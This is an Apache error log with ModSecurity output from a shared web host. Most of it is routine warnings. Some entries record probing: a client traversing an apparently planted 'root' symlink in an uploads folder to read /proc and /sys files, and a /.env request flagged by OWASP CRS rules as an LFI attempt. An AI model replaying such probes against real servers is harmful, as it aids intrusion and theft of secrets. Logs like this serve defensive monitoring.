[Fri Jul 17 10:30:49.581770 2026] [core:error] [pid 2076194:tid 2076194] (13)Permission denied: [client 57.141.18.102:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory5/subsystem/devices/memory35/subsystem/devices/memory41/node0/compact
[Fri Jul 17 10:30:49.614186 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/mousedev/uevent
[Fri Jul 17 10:30:49.706119 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/sysrq/uevent
[Fri Jul 17 10:30:50.079957 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty46/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 10:30:50.233331 2026] [core:error] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty28/subsystem/ttyS2/device/driver/unbind
[Fri Jul 17 10:30:50.912981 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:51.035409 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:41076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:51.695244 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.040771 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:59946] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:52.166098 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275076 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275163 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275209 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275265 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275313 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275348 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275417 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275437 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275458 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275479 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275559 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275662 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275692 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275716 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275736 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275755 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275775 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275792 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275895 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275915 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275933 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275953 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.275985 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.276016 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.276061 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.375407 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.471266 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.505555 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.607406 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.813211 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:52.919621 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:59958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:53.957301 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/keyboard/uevent
[Fri Jul 17 10:30:54.061258 2026] [mime:warn] [pid 2080166:tid 2080166] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:54.672921 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:55.248411 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:4/subsystem/pcmC0D0p/device/controlC0/uevent"] [unique_id "alm3B2G27nIfbW_ExyiJGQAAABM"]
[Fri Jul 17 10:30:55.248442 2026] [security2:error] [pid 2076231:tid 2076231] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/116:4/subsystem/pcmC0D0p/device/controlC0/uevent"] [unique_id "alm3B2G27nIfbW_ExyiJGQAAABM"]
[Fri Jul 17 10:30:55.642543 2026] [core:error] [pid 2075901:tid 2075901] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/17-1/instance
[Fri Jul 17 10:30:56.915502 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:57.252611 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:57.429930 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:58.472119 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:58.689154 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:58.837620 2026] [ssl:error] [pid 2079960:tid 2079960] (70014)End of file found: [client 66.85.158.91:60528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:58.990502 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:59.088786 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:59.195418 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:59.292600 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:59.620193 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:59.706651 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:00.111778 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:00.818412 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:00.944583 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:60634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:01.104732 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:01.848649 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.159877 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.450285 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.170.53.181:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "alm3DjuaDdNRw9_WO14zawAAAAg"]
[Fri Jul 17 10:31:02.450410 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.170.53.181:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "alm3DjuaDdNRw9_WO14zawAAAAg"]
[Fri Jul 17 10:31:02.450502 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.170.53.181:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "alm3DjuaDdNRw9_WO14zawAAAAg"]
[Fri Jul 17 10:31:02.450751 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "alm3DjuaDdNRw9_WO14zawAAAAg"]
[Fri Jul 17 10:31:02.451106 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "alm3DjuaDdNRw9_WO14zawAAAAg"]
[Fri Jul 17 10:31:02.562171 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562249 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562292 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562326 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562360 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562393 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562459 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562479 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562498 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562518 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562600 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562716 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562751 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562772 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562792 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562812 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562832 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562852 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562954 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562978 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.562995 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.563016 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.563063 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.563098 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:02.563131 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:03.271162 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:03.414398 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:41932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:04.398890 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:04.499934 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:05.300432 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:41994] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:05.490307 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:05.622335 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:06.209891 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:42106] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:06.230983 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:06.333025 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/driver/uevent
[Fri Jul 17 10:31:06.690275 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:07.044387 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:07.044884 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24-mod_security2/"] [unique_id "alm3E_VsLAz87UqRdDoYhQAAAAA"]
[Fri Jul 17 10:31:07.044913 2026] [security2:error] [pid 2075705:tid 2075705] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apache24-mod_security2/"] [unique_id "alm3E_VsLAz87UqRdDoYhQAAAAA"]
[Fri Jul 17 10:31:07.706174 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:07.791196 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:07.893285 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:07.993139 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.096161 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.195745 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.558600 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.634657 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.666837 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.705782 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.719883 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:08.803071 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/port
[Fri Jul 17 10:31:08.859613 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:42240] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:31:08.904611 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.006411 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.107140 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.207946 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.311314 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.412326 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.517242 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.616320 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.718027 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.821189 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.920460 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:09.970118 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.021416 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.122084 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.260703 2026] [security2:error] [pid 2075978:tid 2075978] [client 34.74.242.206:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "sysnytech.com"] [uri "/robots.txt"] [unique_id "alm3FmFjrl6DCT-Pyn8VuQAAAAo"]
[Fri Jul 17 10:31:10.261022 2026] [security2:error] [pid 2075978:tid 2075978] [client 34.74.242.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sysnytech.com"] [uri "/robots.txt"] [unique_id "alm3FmFjrl6DCT-Pyn8VuQAAAAo"]
[Fri Jul 17 10:31:10.261479 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.326872 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.435921 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.535385 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.637856 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.738719 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.791496 2026] [security2:error] [pid 2076231:tid 2076231] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3FmG27nIfbW_ExyiJMgAAABM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:10.791533 2026] [security2:error] [pid 2076231:tid 2076231] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm3FmG27nIfbW_ExyiJMgAAABM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:31:10.883655 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.943733 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.943813 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:10.943875 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.044625 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.145567 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.247697 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.347449 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.449724 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.449789 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.449851 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.568599 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.712254 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.775523 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.785776 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.853968 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:11.954833 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
